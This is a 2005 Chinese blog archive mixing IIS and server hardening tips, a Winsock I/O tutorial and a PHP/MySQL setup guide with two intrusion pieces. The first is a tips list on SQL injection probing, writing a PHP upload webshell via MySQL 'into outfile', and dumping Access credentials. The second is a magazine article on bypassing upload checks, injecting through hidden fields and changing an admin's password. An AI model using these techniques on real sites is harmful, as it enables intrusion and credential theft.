2005年05月31日

  1.如何让asp脚本以system权限运行?
  
  修改你asp脚本所对应的虚拟目录,把"应用程序保护"修改为"低"….
  
 
 2.如何防止asp木马?
  
  基于FileSystemObject组件的asp木马

  
  cacls %systemroot%\system32\scrrun.dll /e /d guests //禁止guests使用
  
  regsvr32 scrrun.dll /u /s //删除
  
  基于shell.application组件的asp
木马
  
  cacls %systemroot%\system32\shell32.dll /e /d guests //禁止guests使用
  
  regsvr32 shell32.dll /u /s //删除
  
 
 3.如何加密asp文件?
  
  从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。
  
  安装完毕后,将生成screnc.exe文件,这是一个运行在DOS PROMAPT的命令
工具
  
  运行screnc – l vbscript source.asp destination.asp
  
  生成包含密文ASP脚本的新文件destination.asp
  

  用记事本打开看凡是""之内的,不管是否注解,都变成不可阅读的密文了
  
  但无法加密中文。
  
  
4.如何从IISLockdown中提取urlscan?
  
  
iislockd.exe /q /c /t:c:\urlscan
  
  
5.如何防止Content-Location标头暴露了web服务器的内部IP地址?
  
  执行
  
  cscript c:\inetpub\adminscripts\adsutil.vbs set w3svc/UseHostName True
  
  最后需要重新启动
iis
  
  
6.如何解决HTTP500内部错误?
  
  
iis http500内部错误大部分原因
  
  主要是由于iwam账号的
密码不同步造成的。
  
  我们只要同步iwam
_myserver账号在com+应用程序中的密码即可解决问题。
  
  执行
  
  cscript c:\inetpub\adminscripts\synciwam.vbs -v


  7.如何增强iis防御SYN Flood的能力?
  
  Windows Registry Editor Version 5.00
  
  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
 
   启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后

2005年05月30日

很幽默的讲解六种Socket I/O模型

《Socket I/O模型全接触》
作  者: flyinwuhan (制怒·三思而后行)

本文简单介绍了当前Windows支持的各种Socket I/O模型,如果你发现其中存在什么错误请务必赐教。

一:select模型
二:WSAAsyncSelect模型
三:WSAEventSelect模型
四:Overlapped I/O 事件通知模型
五:Overlapped I/O 完成例程模型
六:IOCP模型

老陈有一个在外地工作的女儿,不能经常回来,老陈和她通过信件联系。他们的信会被邮递员投递到他们的信箱里。
这和Socket模型非常类似。下面我就以老陈接收信件为例讲解Socket I/O模型~~~

一:select模型

老陈非常想看到女儿的信。以至于他每隔10分钟就下楼检查信箱,看是否有女儿的信~~~~~
在这种情况下,"下楼检查信箱"然后回到楼上耽误了老陈太多的时间,以至于老陈无法做其他工作。
select模型和老陈的这种情况非常相似:周而复始地去检查……如果有数据……接收/发送…….

使用线程来select应该是通用的做法:
procedure TListenThread.Execute;
var
addr : TSockAddrIn;
fd_read : TFDSet;
timeout : TTimeVal;
ASock,
MainSock : TSocket;
len, i : Integer;
begin
MainSock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
addr.sin_family := AF_INET;
addr.sin_port := htons(5678);
addr.sin_addr.S_addr := htonl(INADDR_ANY);
bind( MainSock, @addr, sizeof(addr) );
listen( MainSock, 5 );

while (not Terminated) do
begin
FD_ZERO( fd_read );
FD_SET( MainSock, fd_read );
timeout.tv_sec := 0;
timeout.tv_usec := 500;
if select( 0, @fd_read, nil, nil, @timeout ) > 0 then //至少有1个等待Accept的connection
begin
if FD_ISSET( MainSock, fd_read ) then
begin
for i:=0 to fd_read.fd_count-1 do //注意,fd_count <= 64,也就是说select只能同时管理最多64个连接
begin
len := sizeof(addr);
ASock := accept( MainSock, addr, len );
if ASock <> INVALID_SOCKET then
….//为ASock创建一个新的线程,在新的线程中再不停地select
end;
end;
end;
end; //while (not self.Terminated)

shutdown( MainSock, SD_BOTH );
closesocket( MainSock );
end;

二:WSAAsyncSelect模型

后来,老陈使用了微软公司的新式信箱。这种信箱非常先进,一旦信箱里有新的信件,盖茨就会给老陈打电话:喂,大爷,你有新的信件了!从此,老陈再也不必频繁上下楼检查信箱了,牙也不疼了,你瞅准了,蓝天……不是,微软~~~~~~~~
微软提供的WSAAsyncSelect模型就是这个意思。

WSAAsyncSelect模型是Windows下最简单易用的一种Socket I/O模型。使用这种模型时,Windows会把网络事件以消息的形势通知应用程序。
首先定义一个消息标示常量:
const WM_SOCKET = WM_USER + 55;
再在主Form的private域添加一个处理此消息的函数声明:
private
procedure WMSocket(var Msg: TMessage); message WM_SOCKET;
然后就可以使用WSAAsyncSelect了:
var
addr : TSockAddr;
sock : TSocket;

sock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
addr.sin_family := AF_INET;
addr.sin_port := htons(5678);
addr.sin_addr.S_addr := htonl(INADDR_ANY);
bind( m_sock, @addr, sizeof(SOCKADDR) );

WSAAsyncSelect( m_sock, Handle, WM_SOCKET, FD_ACCEPT or FD_CLOSE );

listen( m_sock, 5 );
….

应用程序可以对收到WM_SOCKET消息进行分析,判断是哪一个socket产生了网络事件以及事件类型:

procedure TfmMain.WMSocket(var Msg: TMessage);
var
sock : TSocket;
addr : TSockAddrIn;
addrlen : Integer;
buf : Array [0..4095] of Char;
begin
//Msg的WParam是产生了网络事件的socket句柄,LParam则包含了事件类型
case WSAGetSelectEvent( Msg.LParam ) of
FD_ACCEPT :
begin
addrlen := sizeof(addr);
sock := accept( Msg.WParam, addr, addrlen );
if sock <> INVALID_SOCKET then
WSAAsyncSelect( sock, Handle, WM_SOCKET, FD_READ or FD_WRITE or FD_CLOSE );
end;

FD_CLOSE : closesocket( Msg.WParam );
FD_READ : recv( Msg.WParam, buf[0], 4096, 0 );
FD_WRITE : ;
end;
end;

三:WSAEventSelect模型

后来,微软的信箱非常畅销,购买微软信箱的人以百万计数……以至于盖茨每天24小时给客户打电话,累得腰酸背痛,喝蚁力神都不好使~~~~~~
微软改进了他们的信箱:在客户的家中添加一个附加装置,这个装置会监视客户的信箱,每当新的信件来临,此装置会发出"新信件到达"声,提醒老陈去收信。盖茨终于可以睡觉了。

同样要使用线程:
procedure TListenThread.Execute;
var
hEvent : WSAEvent;
ret : Integer;
ne : TWSANetworkEvents;
sock : TSocket;
adr : TSockAddrIn;
sMsg : String;
Index,
EventTotal : DWORD;
EventArray : Array [0..WSA_MAXIMUM_WAIT_EVENTS-1] of WSAEVENT;
begin
…socket…bind…
hEvent := WSACreateEvent();
WSAEventSelect( ListenSock, hEvent, FD_ACCEPT or FD_CLOSE );
…listen…

while ( not Terminated ) do
begin
Index := WSAWaitForMultipleEvents( EventTotal, @EventArray[0], FALSE, WSA_INFINITE, FALSE );
FillChar( ne, sizeof(ne), 0 );
WSAEnumNetworkEvents( SockArray[Index-WSA_WAIT_EVENT_0], EventArray[Index-WSA_WAIT_EVENT_0], @ne );

if ( ne.lNetworkEvents and FD_ACCEPT ) > 0 then
begin
if ne.iErrorCode[FD_ACCEPT_BIT] <> 0 then
continue;

ret := sizeof(adr);
sock := accept( SockArray[Index-WSA_WAIT_EVENT_0], adr, ret );
if EventTotal > WSA_MAXIMUM_WAIT_EVENTS-1 then//这里WSA_MAXIMUM_WAIT_EVENTS同样是64
begin
closesocket( sock );
continue;
end;

hEvent := WSACreateEvent();
WSAEventSelect( sock, hEvent, FD_READ or FD_WRITE or FD_CLOSE );
SockArray[EventTotal] := sock;
EventArray[EventTotal] := hEvent;
Inc( EventTotal );
end;

if ( ne.lNetworkEvents and FD_READ ) > 0 then
begin
if ne.iErrorCode[FD_READ_BIT] <> 0 then
continue;
FillChar( RecvBuf[0], PACK_SIZE_RECEIVE, 0 );
ret := recv( SockArray[Index-WSA_WAIT_EVENT_0], RecvBuf[0], PACK_SIZE_RECEIVE, 0 );
……
end;
end;
end;



四:Overlapped I/O 事件通知模型

后来,微软通过调查发现,老陈不喜欢上下楼收发信件,因为上下楼其实很浪费时间。于是微软再次改进他们的信箱。新式的信箱采用了更为先进的技术,只要用户告诉微软自己的家在几楼几号,新式信箱会把信件直接传送到用户的家中,然后告诉用户,你的信件已经放到你的家中了!老陈很高兴,因为他不必再亲自收发信件了!

Overlapped I/O 事件通知模型和WSAEventSelect模型在实现上非常相似,主要区别在"Overlapped",Overlapped模型是让应用程序使用重叠数据结构(WSAOVERLAPPED),一次投递一个或多个Winsock I/O请求。这些提交的请求完成后,应用程序会收到通知。什么意思呢?就是说,如果你想从socket上接收数据,只需要告诉系统,由系统为你接收数据,而你需要做的只是为系统提供一个缓冲区~~~~~
Listen线程和WSAEventSelect模型一模一样,Recv/Send线程则完全不同:
procedure TOverlapThread.Execute;
var
dwTemp : DWORD;
ret : Integer;
Index : DWORD;
begin
……

while ( not Terminated ) do
begin
Index := WSAWaitForMultipleEvents( FLinks.Count, @FLinks.Events[0], FALSE, RECV_TIME_OUT, FALSE );
Dec( Index, WSA_WAIT_EVENT_0 );
if Index > WSA_MAXIMUM_WAIT_EVENTS-1 then //超时或者其他错误
continue;

WSAResetEvent( FLinks.Events[Index] );
WSAGetOverlappedResult( FLinks.Sockets[Index], FLinks.pOverlaps[Index], @dwTemp, FALSE, FLinks.pdwFlags[Index]^ );

if dwTemp = 0 then //连接已经关闭
begin
……
continue;
end else
begin
fmMain.ListBox1.Items.Add( FLinks.pBufs[Index]^.buf );
end;

//初始化缓冲区
FLinks.pdwFlags[Index]^ := 0;
FillChar( FLinks.pOverlaps[Index]^, sizeof(WSAOVERLAPPED), 0 );
FLinks.pOverlaps[Index]^.hEvent := FLinks.Events[Index];
FillChar( FLinks.pBufs[Index]^.buf^, BUFFER_SIZE, 0 );

//递一个接收数据请求
WSARecv( FLinks.Sockets[Index], FLinks.pBufs[Index], 1, FLinks.pdwRecvd[Index]^, FLinks.pdwFlags[Index]^, FLinks.pOverlaps[Index], nil );
end;
end;

五:Overlapped I/O 完成例程模型

老陈接收到新的信件后,一般的程序是:打开信封—-掏出信纸—-阅读信件—-回复信件……为了进一步减轻用户负担,微软又开发了一种新的技术:用户只要告诉微软对信件的操作步骤,微软信箱将按照这些步骤去处理信件,不再需要用户亲自拆信/阅读/回复了!老陈终于过上了小资生活!

Overlapped I/O 完成例程要求用户提供一个回调函数,发生新的网络事件的时候系统将执行这个函数:
procedure WorkerRoutine( const dwError, cbTransferred : DWORD; const
lpOverlapped : LPWSAOVERLAPPED; const dwFlags : DWORD ); stdcall;
然后告诉系统用WorkerRoutine函数处理接收到的数据:
WSARecv( m_socket, @FBuf, 1, dwTemp, dwFlag, @m_overlap, WorkerRoutine );
然后……没有什么然后了,系统什么都给你做了!微软真实体贴!
while ( not Terminated ) do//这就是一个Recv/Send线程要做的事情……什么都不用做啊!!!
begin
if SleepEx( RECV_TIME_OUT, True ) = WAIT_IO_COMPLETION then //
begin
;
end else
begin
continue;
end;
end;

六:IOCP模型

微软信箱似乎很完美,老陈也很满意。但是在一些大公司情况却完全不同!这些大公司有数以万计的信箱,每秒钟都有数以百计的信件需要处理,以至于微软信箱经常因超负荷运转而崩溃!需要重新启动!微软不得不使出杀手锏……
微软给每个大公司派了一名名叫"Completion Port"的超级机器人,让这个机器人去处理那些信件!

"Windows NT小组注意到这些应用程序的性能没有预料的那么高。特别的,处理很多同时的客户请求意味着很多线程并发地运行在系统中。因为所有这些线程都是可运行的[没有被挂起和等待发生什么事],Microsoft意识到NT内核花费了太多的时间来转换运行线程的上下文[Context],线程就没有得到很多CPU时间来做它们的工作。大家可能也都感觉到并行模型的瓶颈在于它为每一个客户请求都创建了一个新线程。创建线程比起创建进程开销要小,但也远不是没有开销的。我们不妨设想一下:如果事先开好N个线程,让它们在那hold[堵塞],然后可以将所有用户的请求都投递到一个消息队列中去。然后那N个线程逐一从消息队列中去取出消息并加以处理。就可以避免针对每一个用户请求都开线程。不仅减少了线程的资源,也提高了线程的利用率。理论上很不错,你想我等泛泛之辈都能想出来的问题,Microsoft又怎会没有考虑到呢?"—–摘自nonocast的《理解I/O Completion Port》

先看一下IOCP模型的实现:

//创建一个完成端口
FCompletPort := CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0,0,0 );

//接受远程连接,并把这个连接的socket句柄绑定到刚才创建的IOCP上
AConnect := accept( FListenSock, addr, len);
CreateIoCompletionPort( AConnect, FCompletPort, nil, 0 );

//创建CPU数*2 + 2个线程
for i:=1 to si.dwNumberOfProcessors*2+2 do
begin
AThread := TRecvSendThread.Create( false );
AThread.CompletPort := FCompletPort;//告诉这个线程,你要去这个IOCP去访问数据
end;

OK,就这么简单,我们要做的就是建立一个IOCP,把远程连接的socket句柄绑定到刚才创建的IOCP上,最后创建n个线程,并告诉这n个线程到这个IOCP上去访问数据就可以了。

再看一下TRecvSendThread线程都干些什么:

procedure TRecvSendThread.Execute;
var
……
begin
while (not self.Terminated) do
begin
//查询IOCP状态(数据读写操作是否完成)
GetQueuedCompletionStatus( CompletPort, BytesTransd, CompletKey, POVERLAPPED(pPerIoDat), TIME_OUT );

if BytesTransd <> 0 then
….;//数据读写操作完成

//再投递一个读数据请求
WSARecv( CompletKey, @(pPerIoDat^.BufData), 1, BytesRecv, Flags, @(pPerIoDat^.Overlap), nil );
end;
end;

读写线程只是简单地检查IOCP是否完成了我们投递的读写操作,如果完成了则再投递一个新的读写请求。
应该注意到,我们创建的所有TRecvSendThread都在访问同一个IOCP(因为我们只创建了一个IOCP),并且我们没有使用临界区!难道不会产生冲突吗?不用考虑同步问题吗?
呵呵,这正是IOCP的奥妙所在。IOCP不是一个普通的对象,不需要考虑线程安全问题。它会自动调配访问它的线程:如果某个socket上有一个线程A正在访问,那么线程B的访问请求会被分配到另外一个socket。这一切都是由系统自动调配的,我们无需过问。

#pragma comment(linker, "/ENTRY:MyMain") //之后就要用ExitProcess(0);才能正常退出;
#pragma comment(lib,"msvcrt.lib") //要使用VC6.0动态链接库
#pragma comment(linker, "/ALIGN:16") //之后就不能用ASPack压;
//合并PE节
#pragma comment(linker, "/SECTION:.text,REW")
#pragma comment(linker, "/MERGE:.data=.text")
#pragma comment(linker, "/MERGE:.rdata=.text")
//也可以加命令参数
/MD /O1 /link /nologo /release /align:16 /subsystem:console /entry:MyMain /section:.text,REW /merge:.data=.text /merge:.rdata=.text

#pragma comment(linker, "/ALIGN:512") 之后就不能用ASPack压;

#pragma comment(linker, "/ENTRY:MyMain") 之后就要用ExitProcess(0);才能正常退出;

#pragma comment(linker, "/SECTION:.text,REW")
#pragma comment(linker, "/MERGE:.data=.text")
#pragma comment(linker, "/MERGE:.rdata=.text")

2005年05月29日
让IIS支持PHP和MySQL

一、首先把php的压缩包(这里以PHP4.3.2为例)解压到C:\php-4.3.2-Win32目录中,然后从其中找到一个叫php.ini-recommended的文件,把他更名为php.ini。

二、打开该文件,找到extension_dir="./",将其改为extension_dir="C:\php-4.3.2-Win32\extensions";再找到session.save_path=/tmp,将其改为session.save_path=C:\php-4.3.2-Win32\sessions。(注:此时你需要在C:\php-4.3.2-Win32目录下建立sessions文件夹,以存放session。)

三、将修改好的php.ini文件拷贝至C:\winnt目录下,将C:\php-4.3.2-Win32下的php4ts.dll文件拷贝到C:\winnt\system32目录下。

四、打开“Internet服务管理器”,选择你想支持PHP的站点,打开属性页,点击“ISAPI筛选器”选项卡,点击“添加”,在弹出的“筛选器属性”窗口的“筛选器名称”中填入“php”;在“可执行文件”中填入“C:\php-4.3.2-Win32\sapi\php4isapi.dll”(如下图图所示),点击确定。

五、点击“主目录”选项卡,选择“应用程序设置”中的“配置”按钮,在弹出的“应用程序配置”窗口中点击“添加”按钮,在弹出的“添加/编辑应用程序扩展名映射”窗口中的“可执行文件”中填入“C:\php-4.3.2-Win32\sapi\php4isapi.dll”,“扩展名”一项填入“php”(如下图所示)。
OK,一切搞定,重起IIS,到你的页面文件目录下写一个phpinfo。
 
 <?php
phpinfo();
?> 

 1、MYSQL的安装双击文件解压,双击setup.exe安装,默认路径为C:\mysql。
在c:\mysql下有一个文件my-example.cnf改名为my.cnf拷贝到c:\下面.

2、phpMyAdmin的安装双击文件解压到c:\phpMyAdmin.
用PHPED把c:\phpMyAdmin下的config.inc.php3打开,把第65行的“require("english.inc.php3");”改为“require("chinese_gb.inc.php3");”。

安装mysql,默认安装路径为:c:\mysql; 安装完成后,打开“开始”按钮中的“运行”,输入命令:C:\mysql\bin\winmysqladmin,并执行; 在第一次用它时,需要建立管理员名及密码,我分别设置为root和(yourpassword)。关闭它后,程序自动在状态行下建立一个“红绿灯”的小图标。

现在你的IIS已经完全支持PHP+MYSQL了

2005年05月28日
[tips2]
文/superhei 05-02-10
1.不要错误判断(特殊字符)的sql注射
经典方法:
id=1 and 1=2 union select 1,1,1,1,1,1,1 再根据特殊字符判断

我们知道当上面的字段前后一样时,查询出来的字段数据都被1替换了,这里用可以把1改为一个特殊点的数字(不可以为字符),比如这样:
id= and 1=2 union select 1.123230273,1.123230273,1.123230273,1.123230273 ......
当我们字段相同时,数据都会被1.123230273替换出来,我们只要用程序查找返回的数据是否包含了1.123230273这个就可以判断了
不过有的程序 当你查询错误时 自动提示出你的错误的sql语句 当然这个里面就有你提交的1.123230273,这个时候这个方法就失败了。
ps:CASI3.0就采用的这个办法。

2.mysql导出shell新方法
经典方法:
CREATE TABLE a (cmd text NOT NULL) <-创建一个表
INSERT INTO a (cmd) VALUES ()      <-插入数据
select cmd from a into outfile path 〈-导出
DROP TABLE IF EXISTS a              〈-删表

新方法:
mysql> select 0x3C3F636F707928245F46494C45535B4D7946696C655D5B746D705F6E616D655D
2C245F46494C45535B4D7946696C655D5B6E616D655D293B3F3E2F2F from in.user into outfi
le 'c:/heige.php';   /*<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//*/
Query OK, 2 rows affected (0.00 sec)

C:\>type heige.php
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//

注意上面语句的  from in.user <-这个必须存在 :) 

这个方法也应用在casi3自带mysqlc.exe里面。

3.Eexcute a SQL Script file in Mysql
先把我们要执行的语句保存为一文件:
c:\11.txt里内容:
select * from user into outfile 'c:/heige.php';
在mysql执行:
mysql> \.
ERROR:
Usage: \. <filename> | source <filename>
mysql> \. c:\11.txt
Query OK, 2 rows affected (0.00 sec)

C:\>type heige.php
1       angel   mypass
2       4ngel   mypass2

也可以使用 mysql> source c:\11.txt 我们再看看可以用select去执行不 :
mysql> select \. c:\11.txt
ERROR 1086: File 'c:/heige.php' already exists
mysql> select source c:\11.txt
ERROR:
Unknown command '\1'.
    -> ;
ERROR 1064: You have an error in your SQL syntax.  Check the manual that corresp
onds to your MySQL server version for the right syntax to use near ':\11.txt' at
 line 1

看来select 只识别\.
大家注意到select \. c:\11.txt 着里面路径不要求'' ,不过又多了个\ 这个在magic_quotes_gpc = On 下照样过不去
有兴趣的可以接着玩玩 :) 

4.access导出文件
详细见kevin的blog

http://hididi.net/public/Kevin/blogview.asp?logID=73

<%
'code by superhei
'test access

Set Conn = Server.CreateObject("ADODB.Connection")
dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * into [mytest112.txt] IN 'c:\' 'text;'  FROM admin;"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
' Access Allowed
end if
rs.close
set rs=nothing
'关闭连接
conn.close
set conn=nothing
response.write "sql为:" &sql

%> 

执行上面的asp
C:\>dir mytest*.txt
 驱动器 C 中的卷是 AAAAAAA
 卷的序列号是 3CEE-A8A9

 C:\ 的目录

2005-02-09  17:27                   46 mytest112.txt
               1 个文件             46 字节
               0 个目录    885,846,016 可用字节

C:\>type mytest112.txt
"id","f_name","f_password"
1,"admin","pass"

WEB入侵之表单提交


文章作者:十二少[NorFolk]

本文已发表于2005 03期《黑客X档案》转载请注明出处

在Web程序设计中,处理表单提交的数据是客户端向SERVER传递数据的主要方法,
表单数据的提交方法有两种Post方法和Get方法,当使用Post方法时,数据由标准的
输入设备读入,当使用Get方法时,数据由CGI变量QUERY_STRING传递给表单数据处理
程序,当Post方法一般不会在服务器上留下痕迹。具体的实现过程这里我就不多说,
有兴趣的朋友可以去翻阅其他资料。不管是ASP程序还是PHP,CGI程序,表单提交的
作用的大同小异的,所以这里仅以ASP为例。

一.利用表单本地提交突破入侵限制
既然表单是客户端与服务端的重要数据传递方法之一,那么它的安全性就难免会出
现问题。

1:上传非法文件。

某同学录的popwindowupload1.asp的客户端代码如下:
< HTML>
….
< Script language="javascript">
function mysubmit(theform)
{
if(theform.big.value=="")
{
alert("请点击浏览按钮,选择您要上传的jpg或gif文件!")
theform.big.focus;
return (false);
}
else
{
str= theform.big.value;
strs=str.toLowerCase();
lens=strs.length;
extname=strs.substring(lens-4,lens);
if(extname!=".jpg" && extname!=".gif")
{
alert("请选择jpg或gif文件!");
return (false);
}
}
return (true);
}
< /script>
…..
< input type="hidden" name="act" value="upload">
< input type="hidden" name="filepath" value="/alumni/class/classimage">
< input type="submit" name="Submit2" value="开始上传">
….
< /HTML>
很明显,这个上传文件在客户端利用SCRIPT限制了上传类型,虽然用SCRIPT可以减轻
ASP程序的负载,但象大部分好的方面一样也有它坏的一面,如果其只是在客户端做限
制,并在服务端限制上传类型或禁止外部提交,那么它并不能阻止我们上传程序禁止上传
的ASP,CER,PHP等文件,只要我们在本地构造一个表单也能能轻松的上传这些文件。
构造的表单主要代码如下:
………….
< form name="mainForm" enctype="multipart/form-data" action="http://www.***
w.com/alumni/class/pic/upfile.asp?userid2=" method=post">
< tr>
< td width="74" align="right" height="26">标题:
< td width="399">十二少
< /tr>
< tr>
< td width="74" align="right" height="26">照片说明:
< td width="399">十二少’s照片
< /td>
< /tr>
< tr>
< td width="74" align="right" height="26">图片路径:
< td width="399">
< input type="file" name="big">
< /td>
< /tr>
< tr align="center">
< td colspan="2" height="26">

< input type="hidden" name="act" value="upload">
< input type="hidden" name="filepath" value="/alumni/class/classimage">
< input type="submit" name="Submit2" value="开始上传">
< br>
< /td>
< /tr>
< tr align="center">
< td colspan="2" height="26" class="di">只支持jpg,gif文件,图片大小在
150k< /font>以内,上传时请耐心等待!
< /tr>
< /form>
….
只要将前面查看得到的代码中的验证文件类型的SCRIPT删掉,然后再修改ACTION后的URL保存为HTML文件即可

2:突破表格注入限制
这个和前面一差不多就不再多说了(呵呵,其实是找不到实例拉)
另外字符输入的长度限制也差不多,只要你看得懂这些HTML语言。
二.HIDDEN隐藏字段缺陷
终于说到重点了。
1:还是SQL注入问题。
目前SQL注入工击仍是入侵中的一大热点,不过随着时间的推移,一般的大型网站程序都已经将明显的
注入点打好补丁拉,但是一些隐藏的比较深的注入点却还是有不少的,除非将它所有的代码都翻新一片。
明显的注入点如:.asp?id=*,输入框等都已经过滤了,但这就能彻底的杜绝黑客的入侵吗?回答当然是NO
这就要提到本文的重点HIDDEN隐藏字段拉。
图1是某网游官方站点的帐号激活界面,查看源码,搜索"HIDDEN"字符串

< form action="index_game.asp" method="post" name="form1" target="_blank" onSubmit="return active_go();">

< td height="25" align="center">

< input type="submit" name="Submit" value="提交">

< /form>
如图2,看到了吗那个:
只要它没有在客户端做任何限制,
这就是一个注入点拉,将"user_name"的值"norfolk"改为想要注入的代码,然后和前面的一样将"ACTION"
的改为相应的URL,保存为HTML文件~~~~~~~~~
不过,它的安全还不错,提交后返回错误提示窗口,很显然它在服务端禁止了外部提交。

2:非法修改其他用户密码。

典型的代表是leadbbs V2.77的那个密码修改漏洞:任何注册用户都可以修改管理员密码,从而入侵服务器,
进而拿下主机。
登陆后修改密码,查看源码,其主要漏洞代码如下:
…….
< form action=usermodify.asp method=post name=form1 onsubmit="submitonce(this);return validationpassed">
< tr>
< td align=middle height=25>
< p>*用户名称:
< td height=25>
< p>norfolk




< tr>
< td align=middle height=25>
< p>*你的密码:




< td height=25>
< input class=fminpt name=submitflag type=hidden value=52norflk>
< input class=fminpt name=form_id type=hidden value=265>
……..



其中我的from_id的值为265,在管理员例表中查看管理员ID,然后将它替换265,再将ACTION的URL相应的修改一下
保存为HTML文件再提交就可以将管理员的密码改成52norfolk。

这个漏洞早在2003.12月就已经公布,这里在拿出来只是为了说明一下这个HIDDEN隐藏字段的危害。不过我发现目前
还是有不少程序可以任意修改其他用户的密码,至于方法如出一辙,(偶用这个漏洞拿下过不少站点的ADMIN):

3:任意修改价格以达到低价甚至不花一分钱网上购物。

早在几年前国内国外的一些大型网上购物网站就已经出现过类似的漏洞。 这些网站的后台程序的验证机制并不健全
以至可以在外部提交数据,于是便出现了低价甚至不花一分钱购买商品的事件,导致这些网站造成重大的经济损失,
由此观之,网络安全是马虎不得的,即使一丁点而问题,造成的损失也是不可估量的。希望之后的程序员在编写程序时能
够尽量细心。这里我就不再将它的利用过程写出来了,反正它们的利用过程都基本相似。

最后给大家介绍老外写的一个不错的检测WEB应用程序安全性的工具,一下是安全焦点的介绍:

Achilles是一个设计用来测试web应用程序安全性的工具。它是一个代理服务器,在一
个HTTP会话中扮演着"中间人"(man-in-the-middle)的角色。一个典型的HTTP代理服
务器将在客户浏览器和web服务器间转发数据包,但Achilles却载取发向任一方的HTTP会
话数据,并且在转发数据前可以让用户修改这些数据.

相信在WEB入侵方面可以为您提供不少的帮助,如果有可能下次再专门写篇文章介绍它吧,这里我就不多说了,有兴趣的
朋友可以自己下载研究研究,它的下载地址:http://www.xfocus.net/tools/200403/achilles-0-27.zip


后记:
到这里还是说一下解决方法吧。
首先当然是禁止外部提交,这里有种不错的方法,大家可以参考参考:

< %
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
% >
你想入侵我也不要这么麻烦嘛,直接打电话告诉我,我给你开WEBSHELL,呵呵
< %
Response.Redirect "Fuck-Hacker.asp"
end if
% >
但这不能彻底杜绝黑客对传递的DIDDEN数据的修改,前面那个ACHILLES就能修改,所以在
服务端还要有健全的验证机制。

需要的朋友直接给我发email,方便我直接邀请~

我的信箱:dugu072#gmail.com(发信请修改#号为at)

安全配置服务器[转]    [ 2005-05-06 1:38:21 AM ]
来源:http://heijin.blogchina.com/

1.NTFS比FAT分区多了安全控制功能,可以对不同的文件夹设置不同的访问权限,安全性增强。

2.建议最好一次性全部安装成NTFS分区,而不要先安装成FAT分区再转化为NTFS分区,这样做在安装了SP5和SP6的情况下会导致转化不成功,甚至系统崩溃。

3.安装NTFS分区有一个潜在的危险,就是目前大多数反病毒软件没有提供对软盘启动后NTFS分区病毒的查杀,这样一旦系统中了恶性病毒而导致系统不能正常启动,后果就比较严重,因此及建议平时做好防病毒工作。

4.分区和逻辑盘的分配
推荐的安全配置是建立三个逻辑驱动器,第一个大于2G,用来装系统和重要的日志文件,第二个放IIS,第三个放FTP,这样无论IIS或FTP出了安全漏洞都不会直接影响到系统目录和系统文件。要知道,IIS和FTP是对外服务的,比较容易出问题。而把IIS和FTP分开主要是为了防止入侵者上传程序并从IIS中运行。

5.安装顺序的选择:
win2000在安装中有几个顺序是一定要注意的: 首先,何时接入网络:Win2000在安装时有一个漏洞,在你输入Administrator密码后,系统就建立了ADMIN$的共享,但是并没有用你刚刚输入的密码来保护它,这种情况一直持续到你再次启动后,在此期间,任何人都可以通过ADMIN$进入你的机器;同时,只要安装一完成,各种服务就会自动运行,而这时的服务器是满身漏洞,非常容易进入的,因此,在完全安装并配置好win2000 SERVER之前,一定不要把主机接入网络。 其次,补丁的安装:补丁的安装应该在所有应用程序安装完之后,因为补丁程序往往要替换/修改某些系统文件,如果先安装补丁再安装应用程序有可能导致补丁不能起到应有的效果,例如:IIS的HotFix就要求每次更改IIS的配置都需要安装

6.端口是计算机和外部网络相连的逻辑接口,也是计算机的第一道屏障,端口配置正确与否直接影响到主机的安全,一般来说,仅打开你需要使用的端口会比较安全,配置的方法是在网卡属性-TCP/IP-高级-选项-TCP/IP筛选中启用TCP/IP筛选,不过对于win2000的端口过滤来说,有一个不好的特性:只能规定开哪些端口,不能规定关闭哪些端口,这样对于需要开大量端口的用户就比较痛苦。

7.IIS是微软的组件中漏洞最多的一个,平均两三个月就要出一个漏洞,而微软的IIS默认安装又实在不敢恭维,所以IIS的配置是我们的重点,现在大家跟着我一起来:首先,把C盘那个什么Inetpub目录彻底删掉,在D盘建一个Inetpub(要是你不放心用默认目录名也可以改一个名字,但是自己要记得)在IIS管理器中将主目录指向D:\Inetpub;其次,那个IIS安装时默认的什么scripts等虚拟目录一概删除,如果你需要什么权限的目录可以自己慢慢建,需要什么权限开什么。(特别注意写权限和执行程序的权限,没有绝对的必要千万不要给)第三,应用程序配置:在IIS管理器中删除必须之外的任何无用映射,必须指的是ASP,ASA和其他你确实需要用到的文件类型,例如你用到stml等(使用server side include),实际上90%的主机有了上面两个映射就够了,其余的映射几乎每个都有一个凄惨的故事:htw, htr, idq, ida……想知道这些故事?去查以前的漏洞列表吧。在IIS管理器中右击主机->属性->WWW服务 编辑->主目录配置->应用程序映射,然后就开始一个个删吧(里面没有全选的,嘿嘿)。接着在刚刚那个窗口的应用程序调试书签内将脚本错误消息改为发送文本(除非你想ASP出错的时候用户知道你的程序/网络/数据库结构)错误文本写什么?随便你喜欢,自己看着办。点击确定退出时别忘了让虚拟站点继承你设定的属性。安装新的Service Pack后,IIS的应用程序映射应重新设置。(说明:安装新的Service Pack后,某些应用程序映射又会出现,导致出现安全漏洞。这是管理员较易忽视的一点。)

